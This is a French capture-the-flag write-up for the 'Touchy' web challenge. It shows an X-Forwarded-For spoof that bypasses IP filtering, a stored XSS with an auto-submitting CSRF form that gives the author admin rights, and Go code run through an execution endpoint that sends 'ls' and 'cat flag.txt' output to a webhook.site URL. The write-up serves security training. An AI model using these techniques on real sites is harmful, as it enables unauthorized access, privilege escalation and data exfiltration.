Touchy

Catégorie: Web Difficulté: - Flag: CTFREI{I_luv_CsRf_I_H4te_HttpOnly}

Challenge

Description


/!\ AUCUN DOCKER ESCAPE N'EST NÉCESSAIRE / TOLÉRÉ /!\

/!\ NO FUZZING NOR BRUTEFORCE ALLOWED >:3

Vous êtes missionnés pour faire un pentest sur notre site vitrine. Il dispose d'un back et d'un front office. Les accès au back office sont filtrés pour nous assurer que des personnes extérieures ne puissent se connecter dessus. Vous ferez les tests sur un environement de développement, il est donc possible qu'il y ait du traffic sur l'application. Mais pas d'inquiétude ! Vous pourrez faire tous les tests que vous voulez.

À noter que l'environnement à disposition est une copie de notre environnement de production.

Pensez bien à rajouter dans votre fichier /etc/hosts la ligne suivante, afin d'accêder au chall : 146.59.33.15 front.touchy.fr back.touchy.fr

En cas de problème ou question, contactez Kaddate sur le serveur discord CTFREI.

url : http://front.touchy.fr:8888/

Solution

Pour faciliter l'analyse, on va utilise Burp.

Exploration du site

Rien d'intéressant sur le front, donc on va se concentrer sur le back. Si l'on tente d'y accéder, on se prend un message pour dire que le site est restreint aux employés du réseau uniquement.

Il faut donc faire croire au serveur qu'on est sur le réseau local, pour ça on peut utiliser certains entêtes HTTP spécifiques. Ici, c'est X-Forwarded-For qui permet de changer son IP auprès du filtre de vérification.

Les vulnérabilités liées à l'en-tête X-Forwarded-For surviennent lorsqu'une application web se fie à cet en-tête pour déterminer l'adresse IP de l'utilisateur sans validation. Un attaquant peut le manipuler pour contourner des restrictions d'accès basées sur l'IP ou masquer son identité. Cela fonctionne parce que les serveurs de proxy ou load balancers ajoutent cet en-tête, et s'il n'est pas correctement vérifié, l'application accepte une IP falsifiée.

Comme l'objectif est de faire croire que l'on est dans le même réseau, on peut utiliser des IP locales parmi les plages suivantes :

  • de 10.0.0.0 à 10.255.255.255

  • de 172.16.0.0 à 172.31.255.255

  • de 192.168.0.0 à 192.168.255.255

On a une 404, ça veut dire que l'on est accepté !

Maintenant, il faut réfléchir et deviner une page possible. On est sur un backend, il y a surement une page pour se connecter. En testant un peu par hasard, on tombe sur /login. La page indique également un lien vers /register, on peut donc créer un compte.

Notre compte ici se nommera étrangement ThaySan. Une fois connecté, on est redirigé sur la page /admin.

On a 3 onglets disponibles :

  • ExecCode : il faut être admin pour l'utiliser

  • EditUser : il faut être admin pour l'utiliser

  • EditContent : on peut l'utiliser et modifier l'HTML du front.

XSS stockée et CSRF

On va se servir des modifications possibles sur le front pour stocker une XSS (c'est-à-dire un script malveillant) en espérant qu'un admin tombe dessus. Pour tester ça, on va simplement faire une requête vers un endpoint quelconque et regarder si l'on reçoit quelque chose. Ici, j'utilise une image pour faire une requête sur Webhook.site.

On a juste à mettre ce bout d'HTML dans la page du front

<img src="http://webhook.site/bcbe1a42-8da6-4500-a788-f9f430cb87e5" />

On reçoit bien une requête depuis l'IP du serveur, preuve qu'un utilisateur local (ici un bot) regarde le front régulièrement (toutes les 4s). On part du principe que c'est un admin, sinon le chall ne serait pas faisable.

Un classique des XSS est de voler le cookie de l'utilisateur, malheureusement pour nous, il n'est pas possible de faire ça ici puisque le cookie est en HTTPOnly, il est donc inaccessible depuis le Javascript.

Ce n'est pas grave. Comme on a accès au formulaire pour éditer le rôle d'un compte, même si on n'a pas l'autorisation nécessaire pour le faire, on connaît la requête à envoyer.

On va donc faire en sorte notre gentil admin, qui voit le front régulièrement, soumette un formulaire avec nos informations pour nous donner le rôle admin, on appelle ça une CSRF.

<form id="csrf" action="http://back.touchy.fr/admin/editUser" method="POST">
  <input name="username" value="ThaySan"/>
  <input name="role" value="admin"/>
</form>

<script>
document.getElementById('csrf').submit()
</script>

On ajoute ça au front et on attend.

Exécution de code Go

Eh boom, on peut maintenant accéder à la fonction pour exécuter du code. Il est dit que c'est du Go, et même si ce n'est pas clair, il suffit d'envoyer le contenu d'un fichier .go. Notre content sera compilé puis exécuté.

En se basant sur notre requête test de la page ExecCode, on va faire un script Python qui enverra notre fichier Go de la même manière, ça sera plus simple pour écrire et modifier le fichier qu'on envoi.

import requests

url = "http://back.touchy.fr:8888/admin/execCode"
cookies = {"Session": "$2a$14$50UopOa4gg97KAc.9lo5A.MzLy85wlICltnW05eO0mbrZ.Vx40WH6"}
headers = {"Cache-Control": "max-age=0", "Content-Type": "application/x-www-form-urlencoded", "X-Forwarded-For": "192.168.1.1"}

with open('touchy.go', 'r') as f:
  content = f.read()

requests.post(url, headers=headers, cookies=cookies, data={'content': content})

Et voici le contenu de touchy.go pour tester l'exécution. Comme tout à l'heure avec l'image pour tester la XSS, on va simplement faire une requête GET sur notre endpoint.

package main

import "net/http"

func main() {
  http.Get("http://webhook.site/bcbe1a42-8da6-4500-a788-f9f430cb87e5")
}

Ça fonctionne ! Maintenant, on pourrait exécuter une commande pour faire un reverse shell, mais on va se contenter d'envoyer le flag sur notre endpoint, c'est largement suffisant.

Pour ça, on commence par lister les fichiers :

package main

import (
  "net/http"
  "net/url"
  "os/exec"
)

func main() {
  cmd := exec.Command("ls", "-al")
  output, err := cmd.Output()
  if err != nil {
    return
  }

  params := url.Values{}
  params.Add("result", string(output))
  http.Get("http://webhook.site/bcbe1a42-8da6-4500-a788-f9f430cb87e5?" + params.Encode())
}

Puis, on affiche flag.txt :

package main

import (
	"net/http"
	"net/url"
	"os/exec"
)

func main() {
  cmd := exec.Command("cat", "flag.txt")
  output, err := cmd.Output()
  if err != nil {
    return
  }

  params := url.Values{}
  params.Add("result", string(output))
  http.Get("http://webhook.site/bcbe1a42-8da6-4500-a788-f9f430cb87e5?" + params.Encode())
}

Dernière mise à jour

Cet article vous a-t-il été utile ?